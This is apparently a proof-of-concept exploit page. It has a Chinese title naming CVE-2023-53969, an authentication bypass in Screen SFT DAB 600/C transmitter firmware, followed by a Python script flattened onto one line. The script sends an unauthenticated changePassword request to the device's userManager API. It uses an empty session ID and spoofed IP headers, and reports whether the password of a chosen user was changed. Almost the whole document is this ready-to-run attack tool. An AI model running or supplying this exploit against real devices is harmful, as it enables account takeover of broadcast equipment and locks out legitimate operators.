CVE-2023-53969 Screen SFT DAB固件会话管理漏洞导致密码修改认证绕过

import requests import sys # CVE-2023-53969 PoC - Screen SFT DAB Authentication Bypass # Target: Screen SFT DAB 600/C firmware <= 1.9.3 # Vulnerability: Session management flaw allowing password change via IP spoofing def exploit(target_ip, target_username, new_password): """ Exploit CVE-2023-53969 by sending unauthorized password change request to userManager API by reusing/spoofing the source IP address. Args: target_ip: IP address of the vulnerable Screen SFT DAB device target_username: Username whose password to change new_password: New password to set Returns: bool: True if exploitation appears successful, False otherwise """ # Construct the password change API endpoint # The userManager API endpoint is typically at /api/userManager api_endpoint = f"http://{target_ip}/api/userManager" # Prepare the malicious request payload # Exploit the IP-based session binding weakness payload = { "action": "changePassword", "username": target_username, "newPassword": new_password, # The vulnerability allows bypassing authentication by exploiting # IP address session binding - system trusts requests from same IP "sessionId": "", # Empty or manipulated session } # Craft headers to simulate spoofed IP scenario headers = { "Content-Type": "application/json", "X-Forwarded-For": target_ip, # IP spoofing attempt "X-Real-IP": target_ip, # Alternative IP header "User-Agent": "Mozilla/5.0 (compatible; Screen-SFT-Client/1.0)" } try: print(f"[*] Targeting: {target_ip}") print(f"[*] Attempting to change password for user: {target_username}") # Send the exploit request response = requests.post( api_endpoint, json=payload, headers=headers, timeout=10, verify=False ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text}") # Check for successful exploitation indicators if response.status_code == 200: if "success" in response.text.lower() or "password changed" in response.text.lower(): print("[+] Exploitation successful! Password has been changed.") return True elif "unauthorized" in response.text.lower() or "forbidden" in response.text.lower(): print("[-] Exploitation failed - target may not be vulnerable or IP not spoofable.") return False return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return False def main(): if len(sys.argv) < 4: print("Usage: python cve-2023-53969.py <target_ip> <username> <new_password>") print("Example: python cve-2023-53969.py 192.168.1.100 admin NewPass123!") sys.exit(1) target_ip = sys.argv[1] username = sys.argv[2] new_password = sys.argv[3] exploit(target_ip, username, new_password) if __name__ == "__main__": main()